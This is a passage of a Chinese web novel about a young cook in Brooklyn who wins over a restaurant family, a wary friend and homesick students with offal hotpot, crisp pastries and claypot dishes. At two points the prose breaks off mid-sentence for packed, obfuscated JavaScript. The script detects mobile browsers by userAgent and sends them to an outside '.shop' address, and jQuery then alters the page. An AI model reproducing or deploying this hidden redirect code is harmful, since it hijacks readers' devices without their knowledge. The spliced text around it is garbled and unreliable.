马丁黑人问号脸：“那是谁？” “就是两周前被你在街口吓唬过的中国女孩。” 丽萨将请唐宁来做主厨的事，大致跟马丁讲了一遍。 马丁一脸不可思议：“你确定没在跟我开玩笑？她看起来就像是个高中生。” “当然。” 丽萨推开厨房的门，“她的厨艺无与伦比，你马上就会知道。” 门被打开的一瞬间，紧随其后的马丁像是被人施了定身咒，钉在原地。 一股熟悉又陌生的香气，如同看不见的细小丝线，一缕缕地钻进他的鼻腔，一圈一圈地绕着他的嗅觉神经，将他一点点拽进一个前所未知的神秘领域。 20. 牛杂火锅 唐宁站在灶台前，握着一把长勺，轻轻搅动着汤锅。 用文火吊足八小时的牛骨汤，骨髓和胶质都融化在汤里，汤色乳白，质地浓稠，勺子探下去，再提起来，汤汁顺着勺沿往下淌，就像深秋清晨和表面上的薄雾。 薄雾散尽，显露出案板上暗红色的，混着筋膜的碎肉。 她心满意足地放下勺子，准备继续处理清理好的食材，拿起了案板上沾染着血迹的菜刀。 “宁。”丽萨喊了一声。 唐宁转过身来，以为她已经饿了，说道：“戴维和莉莉已经解决完了，很快就可以吃晚饭了。” “太好了，他们人呢？” “在那儿。” 唐宁手上不方便，抬起下巴，朝角落里已经累得四仰八叉的父女俩轻轻一点。 说完，她目光落在丽萨身后的马丁身上。 生面孔。 不对，好像有点眼熟？ 深褐色的瞳仁在礼貌的范围内迅速打量着马丁，却因眼神太过平和淡漠，给人一种她不是在打量人类，而是在端详一块等待烹饪的肉，评估着它的纹理和脂肪分布的错觉。 马丁下意识后退半步。 “还记得马丁吗？” 丽萨没察觉到他的异样，对着唐宁介绍，“你第一次来餐厅的时候，他跟你开玩笑，被我踹了一脚屁股的家伙。” 唐宁点点头，表示有印象。 正要打招呼，却发现马丁正一脸惊恐地盯着自己。 唐宁：？ 她顺着对方的目光转头，看了一眼凯耶父女俩毫无形象地躺坐在水池旁，睡得正香，脸上沾着清洗牛下水时不小心溅到的血迹，身上的工作服也好不到哪去，戴维的白色厨师服上尤其明显。 远远看过去，就像是被捅了一刀似的。 再一低头，自己的手上还握着一把刀，刀尖上还挑着一截牛肠，像什么恐怖片里的经典道具。 生肉案板上牛杂堆成小山，红的白的，分不清哪是哪儿。 墙角的水桶里还泡着晚上要用的牛腩肉，水面漂浮着一层血沫，在灯光下泛着幽暗的红光。 空气里除了牛骨汤沁人心脾的香气，还有一丝淡淡的不易察觉的铁锈味。 马丁喉结明显滚动了一下。 他慢慢地又退了一步。 唐宁意识到什么，立马解释道：“这是牛……” 话说一半，她瞧见自己刀尖上的那截牛肠，十分不适宜地“吧唧”一声，掉在了厨房地板上，还因地滑而扭动了几下。 马丁眼睛瞬间瞪圆，疑似下一秒眼珠子就会掉出来。 他又迅速往后退了一步。 这下，连丽萨也察觉到不对劲，奇怪地看向马丁，“你怎么了？怎么这副表情？” 与此同时。 唐宁捡起肠子，往前走了几步，“不是，你听我说……” 牛肠用英文怎么说来着？ 死脑子快转啊。 不等唐宁想起那个冷僻的单词，马丁飙出一句短促且跑调的脏话，猛地转身，准备拉着丽萨逃跑，却不想，一头撞在了门框上。 这一下，还挺狠的。 “马丁！” 丽萨惊叫一声，连忙扶住一米八几摇摇欲坠的马丁。 唐宁当即停下脚步，不敢再往前走半步，生怕他慌不择路跑一次，即便不再撞到，这副样子跑出去，被人看见还真以为食记后厨在杀人呢。 不管是马丁的撞击声还是丽萨的喊叫声，动静都不小，当即惊醒了呼呼大睡的戴维和莉莉。 两人一脸懵然地醒来，看见平时身强体壮的马丁捂着脑袋躺在地上，赶忙跑过来问他怎么回事。 一阵兵荒马乱之后，马丁才通过丽萨和戴维的解释知道自己误会了。 原来眼前这个中国女孩，不是谋杀了戴维和莉莉，剖开了他们的肚子，抽出了他们的肠子，以残忍的手段销毁尸体。 而是在制作一道关于牛身上所有器官的美食。 名叫牛杂火锅。 马丁坐在大厅的餐桌沙发上，用冰块捂着脑袋，十分诚恳地向唐宁道歉。 “没关系，解释清楚就好。” 险些成为杀人犯的唐宁默默叹了口气，回到厨房继续做菜。 心想明天还是在门口贴个牌子吧。 就写： 厨房重地，闲人免入。 经过这一小段波折，戴维理所当然地让马丁留下来一起吃饭。 丽萨去厨房跟唐宁打了声招呼，需要多加一个人的餐量，还解释了一下马丁作为一个外人，为什么会来餐厅吃免费的员工餐。 “马丁救过戴维一命。” 戴维刚开餐厅的时候，订了一只三米长的剑鱼，打算作为开业酬宾赠菜。 可没想到卸货时遭遇了意外。 冷冻的剑鱼太重太滑，卸货员失手没拿稳，从货车里滑了出去，眼看那细长如利剑的鱼吻就要将站在货车外的戴维刺个对穿，千钧一发之际，路过的马丁撞开了戴维，戴维才免于一死。 戴维想要感谢他，马丁说只要每天让他来餐厅蹭一顿饭就好了。 作为新的合伙人，唐宁对此完全没有意见。 多双筷子而已，她倒不至于那么小气。 何况。 对于被捅个对穿这件事，她深有体会。 能活着，真是太好了。 “哦，宁，你真是太好了。”丽萨忍不住抱住了她。 唐宁耳朵一红，面上却镇定，让她去厨房外面等饭吃。 低峰期餐厅里没客人，戴维直接将卡式炉放在餐桌上，丽萨和莉莉一人端着一个托盘，把上面的东西一样一样摆在四周，包括一盘翠绿的剩菜，白嫩的豆腐，几小碗蒜泥香油，以及一碟看起来就很有杀伤力的辣椒。 最后，唐宁端着一口红通通的大锅走来，稳稳地放在卡式炉上。 众人落座，马丁看着眼前的东西，联想到厨房的那一幕，内心仍有些抵触。 “这真的可以吃吗？” 马丁是非裔美国人，饮食习惯里跟大多数美利坚人一样，没有食用动物内脏的习惯。 戴维去过很多次中国，大街小巷的东西几乎吃了个遍，哪怕是丽萨和莉莉，也在父亲的熏陶下，去过两次中国，吃过不少中华美食。 除了丽萨对于未经处理的生内脏有些接受无能外。 可一旦做成菜品后，她完全可以把那些血腥的画面抛到九霄云外。 “当然，你只要尝一口，就会爱上这个味道。”戴维不由分说塞给他一只空碗，语气充满蛊惑意味。 牛杂火锅分很多种，有湘式、广式、川式，贵式、以及西北和云南等不同流派。 广式、西北和云南流派注重牛的本味，通常是用清汤和简单香料炖煮，亦或是一些中药材搭配作为汤底，突出牛杂本身的鲜美，另外再佐以独特风味的蘸料。 贵州更多以红酸汤为底，酸爽开胃，激发人的食欲。 湘式以鲜辣浓郁的酱香为底、川式则以刺激香浓的口感为特色。 出于食材限制的原因，餐厅里没有国内那些土生土长的具有特殊风味的原料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192742|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，加上深秋时节，天气渐冷，凯耶一家又十分喜欢食辣，唐宁便做的是蜀地的牛杂火锅，麻辣鲜香，一口下去，保管身体从里到外都是热乎乎的。 随着卡式炉火焰的舔舐，锅里的红油和内脏重新咕嘟咕嘟沸腾起来，光是看着，就让人食指大开，更何况那扑鼻的香气一个劲儿往人鼻子里钻。 “可以吃了。” 唐宁温声提醒，凯耶一家的筷子率先探进了锅里，第一时间不约而同捞起了牛百叶，放进蒜泥香油的料碗里滚一群，然后整个一口塞进嘴里。 脆爽！ 这种脆不是黄瓜或是薯片的那种脆，而是每咀嚼一下，嘴里就会发出轻微咯吱声，配合着蒜香的浓郁，香油的滑润，以及汤底赋予的麻辣，在整个口腔演奏出一首盛大的交响。 见大家脸上都露出享受的表情，马丁最终也没抵抗得住诱惑，用叉子捞起一块牛肚，学着他们的样子，在油碟里滚了一圈，小心翼翼放进嘴里。 煮透了的牛肚不仅软糯弹牙，还吸饱了浓郁的汤汁。 一口咬下去，滚烫、浓郁，唤醒了一种掩埋在长久岁月中的熟悉味道。 “这个味道……” 好熟悉！ 马丁感觉自己快要哭出来了。 转瞬之间，他不再排斥牛杂的血腥和可怖，而是跟凯耶一家争抢起锅里整个北美都十分嫌弃的牛下水。 即便吃得满头大汗，也依旧停不下来。 直到锅里的牛杂消失一半，唐宁将准备的配菜全部加入进去，豆腐和生菜浸满了牛杂鲜香独特的汤汁，吃完牛杂再吃生菜豆腐，既是不同的口感，又清爽解腻。 不消片刻，牛杂火锅被吃得连汤汁都被拿去沾了烧饼。 唐宁见马丁鼻涕眼泪横流，似是被辣哭了，给他递了张纸，“不能吃辣的话别勉强自己，下次我可以给你煮点别的。” 马丁接过纸巾，一边擦泪，一边摇头：“不，我不是被辣哭的，我只是，只是太感动了。” 唐宁怔了一瞬，不明所以地看着他。 其他人也不禁放慢抢夺最后一点锅底独占权的速度，三脸关切地看向马丁。 马丁望着唐宁，目光深情，哽咽道：“唐，你让我想起了我去世多年的奶奶。” 唐宁：？ 一时间，她不知道该说什么。 丽萨左看看，右看看，“噗呲”一声，情不自禁笑出了声。 “奶奶？马丁，你在开玩笑吗？一个小时前你还说宁像个高中生。” 唐宁：…… 这话也没动听到哪儿去。 马丁解释道：“不不不，我的意思是，唐做的食物，让我想起来我的奶奶。我奶奶以前就做过这种牛肉给我吃，只是那时候我还太小了，并不知道这是什么。” 这下轮到戴维惊讶了，“什么，你奶奶居然是中国人？” 马丁一愣，瞪大双眼：“戴维，你在说什么？虽然我父母已经移民美利坚，但我奶奶是一位纯正的肯尼亚人。” 哦，原来非洲人也吃牛杂。 戴维为自己的无知向他道歉，马丁摆摆手，表示没放在心上。 唐宁倒是对认知以外的国家，尤其是对同一种食材的做法起了好奇心。 “在那个国家，牛杂是如何烹饪的呢？” 马丁记忆已经有些模糊，并不知道牛杂的具体做法，但他依稀记得里面的食材，十分热情地向唐宁描述了一遍。 唐宁听后，一时之间，竟然无法想象出那个味道。 香蕉炖牛杂？ 还能这么做！ 21. 糖莎翁、糖葱薄饼 听完马丁的描述，唐宁起了邪念，试图尝尝香蕉炖牛杂的滋味。却在查资料时，发现马丁口中用来炖牛杂的香蕉，并非平日里吃的水果香蕉。 而是肯尼亚特有的一种青皮大蕉。 这种香蕉体型巨大，皮厚难剥，果肉淀粉含量极高，通常是作为主食跟肉类同煮，口感绵密，略带微甜。 美利坚买不到这种香蕉，遂放弃。 从唐宁表现出兴趣的那一刻就开始提心吊胆的凯耶一家顿时长出一口气。 感谢伟大的美利坚。 不敢想象，这道菜如果出现在餐厅里，餐厅会不会再次面临倒闭。 唐宁察觉到他们的情绪，无奈笑道：“你们这是什么表情，马丁说很好吃的，你们难道不想尝尝吗？” 凯耶一家齐刷刷摇头。 戴维：“也许是马丁年纪太小，味觉还没有发育完全。” 丽萨：“也可能是马丁对奶奶的感情太深，有对亲人的爱意加持。” 莉莉点头。 “嘿，你们太没有礼貌了。”马丁不满道，“我向上帝保证，那是我吃过最好吃的食物，第二就是唐的这顿员工餐。” 唐宁抿唇一笑。 凯耶一家向被冒犯的马丁道歉，而后解释起来。 丽萨：“抱歉，实在是在我的认知里，除了柠檬菠萝和苹果，任何一种水果跟肉类一起煮，都会变得十分诡异。” “即便是中餐也避免不了这个严重的问题。”戴维挠了挠头，看向唐宁，“前几年我们一家人曾去中国旅行，见识过一些大学食堂里的创新菜品，比如芹菜炒草莓、火龙果炖汤圆、西瓜炒肉、橘子炒冬瓜等等。那种奇怪的味道，至今都让我们难以忘怀。” 尤其是那道香蕉酿苦瓜。 美其名曰：苦尽甘来。 可对于他们来说，煮熟的香蕉就像一坨软塌塌的大便，嵌在苦瓜中间。 恶心得令人难以下咽。 唐宁：…… 大开眼界。 别的不清楚，单是那橘子炒冬瓜，足以让一位厨子对自己的认知产生怀疑。 橘子酸甜，冬瓜清淡，二者炒制，无异于用涂鸦喷漆在宣纸上作画，不论口感和味道都完全违背烹制菜肴的基本原理。 唐宁瞬间跟凯耶一家共情，香蕉炖牛杂的事儿也就此翻篇。 马丁耸耸肩，表示无所谓。 毕竟奶奶已经离开了，谁也做不出她的味道。 …… 一周过去。 唐宁终于拿到了工卡。 是霍普先生亲自送到她手上的。 他还十分恭敬地请唐宁替他向威尔逊教授问好。 当时唐宁和莉莉正在学生服务中心等丽萨下班，载她去餐厅上班。 这一幕偏巧被强尼看见，少不得又来挑事儿。 “居然向一个亚裔献殷勤，简直是在丢我们白人的脸。” “强尼，需要我提醒你吗？”霍普先生当即板起一张脸，宛若当时刁难唐宁时，公事公办的表情，“你的行为涉及种族歧视，如果你不停止这种行为，我们可以向学校投诉你。” 强尼感受到强烈的背叛，心里怒火中烧，却迫于得之不易的生计，不得不闭上嘴巴，咬牙切齿地瞪向唐宁。 都是这个中国女孩的错。 仗着认识威尔逊教授，就以为自己可以跟白人平起平坐。 简直是在做梦。 唐宁不知强尼作何感想，也懒得跟他浪费时间，索性无视他的存在，收下霍普先生递过来的工卡。 尽管霍普先生本质也是种族歧视者，且是看在威尔逊教授的面子才帮她，但她不能拂威尔逊教授的面子，于是十分客气地跟霍普先生道了声谢。 霍普轻松一笑，也没再搭理强尼，兀自离开了服务中心。 当晚，唐宁在贝内特太太家的厨房里炸起了糖莎翁。 糖莎翁是现在的叫法，以前叫沙壅。 在宫里时，岭南的贵人因思念家乡，以泪洗面，皇帝就命膳房通过其口述，做出了这道点心，以解思乡之苦。 此刻，威尔逊夫妇和贝内特祖孙一起坐在厨房岛台旁，看似在聊天，实则眼睛一直不停的瞟向唐宁筷子下翻滚的小球。 “哇，这个球在变大。” 苏珊兴致勃勃地望着锅里着油温升高，不断膨胀变大的黄色圆球。 其他人因为好奇，也光明正大地看了起来。 唐宁小心地控制着油温，等面球炸至金黄，捞出，放在碟子里，最后再撒上一层薄薄的糖霜，如此一来，形似白发老翁。 “好了。”她将碟子放在岛台上，“尝尝吧。” 苏珊耸了耸鼻尖，“闻起来有点像甜甜圈。” 唐宁回忆着苏珊所说的甜甜圈。 很可惜，原主脑海里没有关于它的记忆。 唐宁给他们每人倒了一杯戴维分享给她的酸枣仁茶，“解腻。” 然而她的担心多余了。 对于美利坚人来说，这点甜根本不算什么。 但毕竟三位年纪大了，吃太多糖油混合物不太好，茶不仅可以清肠，还可以助眠。 果然，威尔逊太太咬了一口，就已经爱上了。 外酥里软的沙壅，从中间撕开是蜂巢状，散发着浓郁的蛋香。 “它吃起来特别柔软，而且糖分没有那么多，对于我和多纳托来说，既好吃又健康。” 这可比甜甜圈要好多了！ 威尔逊先生没有妻子那么嗜甜，听到甜食的时候没有那么期待，可真吃到嘴里，仍是一口接着一口，感觉始终得不到满足。 唐宁见他们每人吃了四个，还不打算停不下来，立马关了火。 “好了，今天就到此为止吧。” 四人：？！ “不，我还没吃够！”苏珊抗议道，“这个小甜球也太小了！” 其他三人一致眼巴巴望着唐宁，狠狠点头。 唐宁不为所动：“不小了，一个有拳头那么大。” 说着，还伸出拳头比划了一下。 听说唐宁会功夫并差点以为要挨揍的四人：…… “好吧，时间也很晚了，我们该走了。” 见他们垂头丧气的样子，唐宁无奈地笑了声，从厨柜里拿出早前做好的灯影牛肉，每人发了一盒，并且严肃嘱咐他们晚上不能再吃了。 “本来打算明天再给你们的，但怕回来得晚没有时间。” 毕竟明天是周六，餐厅里要上新菜了。 自从唐宁在餐厅工作后，贝内特祖孙俩只能在早餐和宵夜时间品尝到唐宁的手艺，现下抱着美味的小零食，感觉以后的午餐和晚餐终于有了盼头。 威尔逊夫妇也心满意足地回家了。 唐宁回到阁楼，从几捆存款里取出40张100美元面值的现金，以及在书包夹层里放了半个月的1000美元，下楼去找贝内特太太。 见她正坐在沙发上织围巾，唐宁缓缓坐在她身边，把美金放在面前一旁的桌上。 贝内特太太抬起眸子，透过小小的镜片撇了眼桌子，而后看向唐宁。 “贝内特太太，这是下个月的租金和生活费，还有……” 唐宁轻声道，“谢谢您的好意。” 自从大家知道她家破产的消息后，第二天书包里就多出了1000美元现金，显然是贝内特太太偷偷放进去的。 甚至前几天就该交房租了，但餐厅才刚开业，唐宁还没攒够房租，贝内特太太就像失忆了一样，也从未提起。 贝内特太太点点头，继续低头织围巾，状似随口道：“看来餐厅的营业状况还不错。” 唐宁真心实意地笑了声：“是的。” 不管是为她学习做中餐，还是出于照顾她的自尊偷偷给她塞钱。 眼前这个嘴硬心软的老人，都是在发自内心地关切她。 对于唐宁来说，这曾是宫里极其罕见且珍贵的情感。即便来到这个陌生的世界，人与人之间的竞争远不及皇宫残酷，感情建立也十分简单迅速，她也仍觉得十分可贵。 她承了这份好意，也真心愿意跟这家人亲近，分享自己的事情。 “原本以为开业那天赶在周末，客流量多也属正常。却没想到，即便是在周内商业街人流量减少的情况下，顾客也依旧一天比一天多。” “这几天食记的营业额非但不减反增，还比预期的要稳定得多。” 尽管绝大多数都是附近学校闻声而来的留子，但据唐宁观察，其中不仅有开业那天来的老顾客，还有老顾客带来的新顾客，真正达到了口口相传的效果。 这让唐宁和凯耶一家都十分惊喜。 只不过他们仍对第一波客人的突然涌入感到好奇，于是苏珊大胆询问了餐厅的老顾客。才知，原来是开业第一个来餐厅吃饭的那位女生，在留学群里分享了食记餐厅，才引来这么多“如饥似渴”的华人。 直到今日。 哪怕唐宁只是晚下课几分钟，戴维和丽萨就有些招架不住了。 没办法。 餐厅十一点开门，可十二点不到，牛腩面就已经卖得要见底了。 后来的顾客只能点炒饭和卤味。 卤味还好说，炒饭必须要等唐宁亲自来炒，毕竟戴维的厨艺还远远达不到唐宁的要求。 于是他只能在后厨大量备菜，方便唐宁一来就能直接进入疯狂炒饭的模式。 虽然有点累，但收入客观。 几天下来，唐宁也逐渐习惯了这种节奏。 贝内特太太听了，也不禁为唐宁感到高兴，心底还有一丝莫名的骄傲。 “你的厨艺那么厉害，吸引顾客是理所当然的事情，凯耶一家遇到你，是他们的幸运。” 唐宁不好意思地笑了笑。 贝内特太太似是想起什么，突然问道：“餐厅里卖的食物，都是你在家里没做过的吧？” 唐宁不知她为何问起这个，乖巧点头：“是的。” 贝内特太太当即道：“那我一定要带苏珊去光顾你们的餐厅。” 唐宁一怔，旋即笑道：“不用这么麻烦，你们若是想吃，我可以在家做给你们吃，或是从餐厅里带一点回来。” 贝内特太太拒绝道：“不一样，餐厅比较有氛围，而且，我记得你说过，中餐大多都是现做现吃最好吃。” 唐宁面露难色，“话虽如此，可食记不是我一个人的，去餐厅吃饭你们还要花很多钱。” “你不用担心这个，亲爱的。”贝内特太太露出炫耀的表情，“我丈夫去世后，给我留下一大笔遗产，足够我吃一辈子米其林了。” 唐宁：…… 啊这，是可以说的吗？ …… 一周前，马丁承诺以后会为唐宁提供需要的货物支持。 “我跟许多供应商的负责人都有交情，包括餐饮设备的供货商，如果有什么需要的东西，尽管告诉我，我可以帮你找到。” 因为这一句话，唐宁大胆提出让他帮自己为新菜寻找一种厨具。 于是。 一大早天不亮，唐宁就跟马丁和莉莉来到一个大型餐饮设备市场。 三个人七拐八拐走了一圈，见这里大多卖的都是现代科技的厨具，并没有唐宁所需要的那种，较为传统的中国厨具。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197433|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唐宁看了一眼身旁已经开始吃第三份早餐的莉莉。 早餐是唐宁早上做的糖葱薄饼，出门前特意带了几份在路上吃的。 厨具属于餐厅支出，丽萨和戴维忙着在餐厅整理备菜，莉莉负责给钱。 见她一副“两耳不闻窗外事，一心只吃手中饼”的状态，唐宁只能叹了口气，拿出翻译器，正准备问马丁他说的那位供货商在哪里。 马丁突然回头，“到了。” 唐宁脚下一顿，一抬头看见一个熟悉的亚洲面孔。 男人大约四十多岁，眼睛很小，却透着精明的锐光，他上下打量一眼唐宁，却没搭理她，直接跟马丁说话，说的是英文。 马丁提前一天跟他说好今天来看货，男人直接带他们去了仓库。 仓库门一打开，唐宁就看到货架上摆着整整齐齐的中式砂锅，眼睛瞬间就亮了。 还真让他给找到了。 她看向男人，礼貌问道：“我可以看看吗？” 男人不耐烦地摆摆手，让她去看，唐宁也不在意，直接走到货架前，拿下一口砂锅，仔细摩挲了一下，就是这个熟悉的触感。 唐宁抬头看了眼马丁，马丁明白她的意思，跟男人讨论价格。 马丁也不知道这种锅具体值多少，直接把男人的价格报给了唐宁。 唐宁手一抖，差点把锅砸了。 她怎么也没想到，一口砂锅而已，居然要一百二十美金。 “介系正宗的广东砂锅，专门乘大船漂洋过海来的。”男人操着一口粤普，手指敲在锅沿上，当当直响，“里听介果声音，多脆？” 马丁凑过去，也学着敲了两下，表情严肃，似模似样，好似在鉴定古董。 “唐，他说的对，这个声音确实挺脆。” 唐宁：…… “脆什么脆。” 她压低声音，“淘宝只卖五十，人民币，包邮。” 马丁不解：“那你为什么不在哪个宝上买？” 唐宁微笑：“海运要两个月。” 马丁：…… 那的确是来不及。 唐宁看了眼手上的傻瓜，转头对男人道：“能便宜点吗？我们的餐厅新开业不久，资金可能有些不足。” 男人低头擦了擦锅盖，动作不紧不慢：“便宜不了啦，我运费摆在拉里。介果锅很好的，煲仔饭，老火汤，什么都搞得出来的。况且，这里是美利坚，不是国内，大家赚的是美金，不是人民币的啦。” “那……八十美金？” “看在你是国人的份上，一百一。” “九十，我要50个。” “一百一，不还价的啦。”男人连眼皮都不抬了。 唐宁实在不善讨价还价，思忖片刻，还是觉得太贵。 这要卖多少炒饭才赚的回来？ 还不如换菜单。 她暗叹一口气，正要开口，马丁突然插进来，对着男人把锅翻过来，“老板，你这里有个黑点，是不是用过的？” 老板终于掀起眼皮，看了马丁一眼，眼神写满了“你在说什么屁话”。 完美无瑕的砂锅，还能叫砂锅吗？！ 唐宁拉了下马丁的袖子，“算了，我们走吧。” 马丁耸了下肩，把砂锅放回货架，跟唐宁一起往外走，刚走到一半，就听到身后传来一阵脚步声。 “等等。” 是卖砂锅的老板，他吧嗒吧嗒踩着拖鞋追了出来。 画面十分眼熟。 唐宁第一反应是老板见他们要走，反悔要降价了。 谁知对方眼神都没给她和马丁一个，而是直勾勾地盯着莉莉手里的糖葱薄饼。 “里这个……”他指着饼，声音有些颤抖，“拉里来的？” 莉莉正吃得开心，被他吓了一跳，往唐宁身后躲了一下。 唐宁和马丁对视一眼，替莉莉回道：“这是我自己做的。” “里做的？！” “是的。” 老板面露震惊，顾不上什么砂锅不砂锅，他盯着那块糖葱薄饼，眼眶都有些泛红，“介果东西，唔都三十年没见过了。小时候我在家乡喜欢吃，来到美利坚，再也没吃过。” 见状，三人都怔住了。 莉莉听不懂，看看手里的饼，又看看老板的表情，不知所措地递过去，“你要吃这个吗？” 不等老板开口，莉莉又把饼收回来，从书包里拿出一袋新的递给他。 “那个我咬过了，你吃这个。” 老板愣了一下，看着那袋饼，看了好几秒，才接过来，手仍有些颤抖。 他小心翼翼地拆开纸袋，瞧见里面的饼皮薄得像纸，两张叠在一起，包裹着象牙白的糖葱，隐约还能看见糖葱细密的纹理。 轻轻咬一口，声音先到。 嚓—— 薄饼裹着糖葱在齿间碎开，那些细密的空洞顿时她想，芝麻花生香菜的咸香被这一声脆响震出来，伴随着熟悉的麦芽糖甜，唤醒了他心底的乡情。 他闭上眼睛，嚼了很久。 再睁开眼的时候，眼眶愈发地红了。 “三十年了，跟小时候一个味道。” 唐宁不知道该说什么，马丁倒是深有体会，拍了拍老板的肩膀。 三人正要离开，老板又叫住他们。 “回来。” 老板用手背抹了下眼角，转身走进仓库，拿出一个砂锅塞到唐宁手里，“一个三十五刀，里们寄己进去挑五十个。回去记得先用淘米水煮半个小时，开锅开好了，能用一辈子。” 唐宁：……？！ 夺，夺少？ 22. 重阳糕、啫啫煲 听说食记上了新菜，留学群又热闹了起来。 【啊啊啊啊，刚想去第九大道换换口味，餐厅都订好了，你告诉我出新菜了？】 【没事，你去换口味，我帮你尝新菜。】 【啧啧，算盘珠子都快溅我脸上了，别以为我不知道，你是想减少一个抢位对手！】 【才没有，你别瞎说！（目移）】 自从食记被分享到群里，短短一周，一跃成为布鲁克林的宝藏餐厅，尽管留学生们小心翼翼保护这个消息不要传播得太远，可食记还是一到餐点一座难求。 周内要上课，离得远的过不来，离得近的来晚也吃不到，毕竟还要上课，根本没时间排队。 可想而知闲暇的双休，食记的客流量会有多恐怖。 能劝走一个就多一分机会。 见这招不行，有人一边朝食记飞奔，一边还不忘施展其他策略。 【呜呜呜谁懂啊，连续吃了一周炒饭卤味牛腩面，我的钱包饿瘦了。】 【那么它的主人呢？】 【……】 【此时此刻，财富的重要性突然具象化了。】 【多么希望自己是亿万富翁，顿顿能在食记吃。】 【瞧你那点出息，都亿万富翁了，还不能把食记搬回家？说不定还能私人定制呢。】 【有道理嘿！】 【……你们真有出息。】 一群人正相互调侃时，突然看到一条。 【成功退订，我已经在食记门口，等待品尝美味的啫啫煲咯！】 【……！我靠，你个老六，现在才十点半，我自行车都快蹬冒烟了，你竟然已经到了？！】 【耶(＾——＾)V】 看到这里，刘奕终于忍不住把手机扔在桌上，对着电脑烦躁地搓了几下脑袋。 这群人…… 至于吗？！ 不就是一家整改重新开张的中餐厅，至于连续一周都在群里疯狂刷屏，每天好吃好吃地叫个不停吗？ 但，有一说一。 能让整个纽约的留子都为之疯狂，刘奕这个离家四年的老留子又怎么能不心动？ 可他大半个月前，才在小某书上嘲讽几百粉丝的美食博主恰烂钱，又在一周前，在群里说食记难吃反被打脸。 哪怕食记就开在公寓楼下，他也拉不下脸去吃。 每天看着群里的刷屏，还有书房窗外原本萧瑟的街口大排长龙，心里简直就像是有无数个小人在疯狂给他抓痒痒。 偏偏食记还不开通外卖，他也不好意思让认识的留子帮他代买，弄得他一整周都抓耳挠腮得不行。 有种山珍海味就摆在面前，他却刚拔完一口牙，力不从心的痛苦。 再这样下去…… 他怕是要被群里那帮留子们馋死！ 眼看就要到十一点，餐厅开门的时间，刘奕心里愈发难受，什么都做不下去。 耳边仿佛还能听到墙上钟表滴答滴答的声音。 啊啊啊啊。 不管了，面子哪有肚子重要。 他合起电脑，冲进衣帽间，戴上帽子和口罩，一番简单粗暴的乔装打扮后，抓起手机爆冲出公寓大门。 巡逻保安：？ 什么东西过去了？ …… 上午十一点整，食记准时开门，在门外等待已久的顾客如蜂群涌了进去。 丽萨和莉莉显然习以为常，招呼顾客坐下后，给每人赠送一杯热气腾腾的菊花茶配一小块插着小彩旗的菊糕，让大家能够暖暖身子。 “哇，老板也太贴心了吧。” “谁说不是呢，今天是重阳，餐厅大概不能卖酒，所以才把菊花酒换成菊花茶的吧，还配一块重阳糕，真是太有心了。” “啊？重阳节？你不说我都不知道。” “正常，在国内的时候我们也不太注意到这些节日，我也是出来后才特意关注这些。” 身处异国他乡，面对不同的文化，难免会产生陌生感，而这些本国传统文化在某种时刻，总会给予自身一些聊胜于无的慰藉。 可惜，除了中秋端午春节这些重大节日聚集华裔的地区会营造氛围，其他节气或是小节日都不太会有人在意。 尤其是重阳节这种没有法定节假的日子。 它最多只存在于“遍插茱萸少一人”的中学课本里。 却没想到，今天会在一个外国人经营的餐厅，重新感受到这种久违的氛围。 离家多年的刘奕对此感触更深，于是把口罩往下拉了点，抿了口馥郁芳香的菊花茶。 嗯？这茶…… 喝起来居然一点也不廉价。 花香味浓，跟国内茶馆比起来竟然也不差多少。 又咬一口精致可人的重阳糕。 米香浓郁，豆沙绵密，果仁和糖桂花相得益彰，让质朴的米香变得甜润，吃起来松软而柔韧，又不失口感，吃完嘴巴里还有淡淡的回甘，像是把晚秋的余韵都吃进了嘴里。 刘奕眼眶一热，不知道为什么，忽然有点想哭。 或许是因为悔恨没早点来吃这家中餐。 也或许是因为别的。 其他人也没好到哪儿去。 都从一开始对好吃的赠品感到惊讶，到心里暖暖的，到最后越吃越沉默，连单都忘了点。 丽萨和莉莉都蒙了。 以为饮品和甜点不和胃口，忙跑到后厨去找唐宁。 唐宁也是一惊，以为有人吃带有坚果的重阳糕过敏了，赶忙出来查看。 站在厨房门口扫视一圈，顿时了然。 哦。 没事。 正要往回走，丽萨拉住她，“宁，现在怎么办？要不要报警？” 唐宁笑道：“无妨，你直接让他们点单吧。” 说完就回了厨房。 丽萨将信将疑，迟疑一瞬，递给莉莉一份菜单，两人开始分头点餐。 果不其然。 菜单递过去的一霎那，消沉的气氛顿时散去，只剩一连串的惊喜。 “我听说新菜是啫啫煲，还以为只有一种，没想到居然有这么多选择？！” “老板，我要一份沙姜黄油啫啫煲！” “一份黑椒牛肉啫啫煲。” “浓酱海鲜啫啫煲！” “我不爱吃浓酱，那就要个柠檬大虾啫啫煲吧。” “那我就来个比翼双飞啫啫煲。” “咦？这么多种类，怎么没有我最爱的排骨啫啫煲？” “别闹，骚猪警告！” “哈哈哈哈哈哈对不起我忘了，现在是在扭腰客。” 餐厅里几乎都是中国人，大多都是留子，甚至还是一个群的，即便隔着网线没见过面，同类的感觉也足以让人放松，说着说着就相互开起玩笑来。 丽萨和莉莉也被这热闹的气氛感染，工作的时候也十分愉快。 莉莉甚至还跟几位顾客讨论了几句汉语。 刘奕扫视一圈，愈发觉得后悔。 应该早点来的！ 还好他没为了那点不值钱的面子，错过这么美好的时刻。 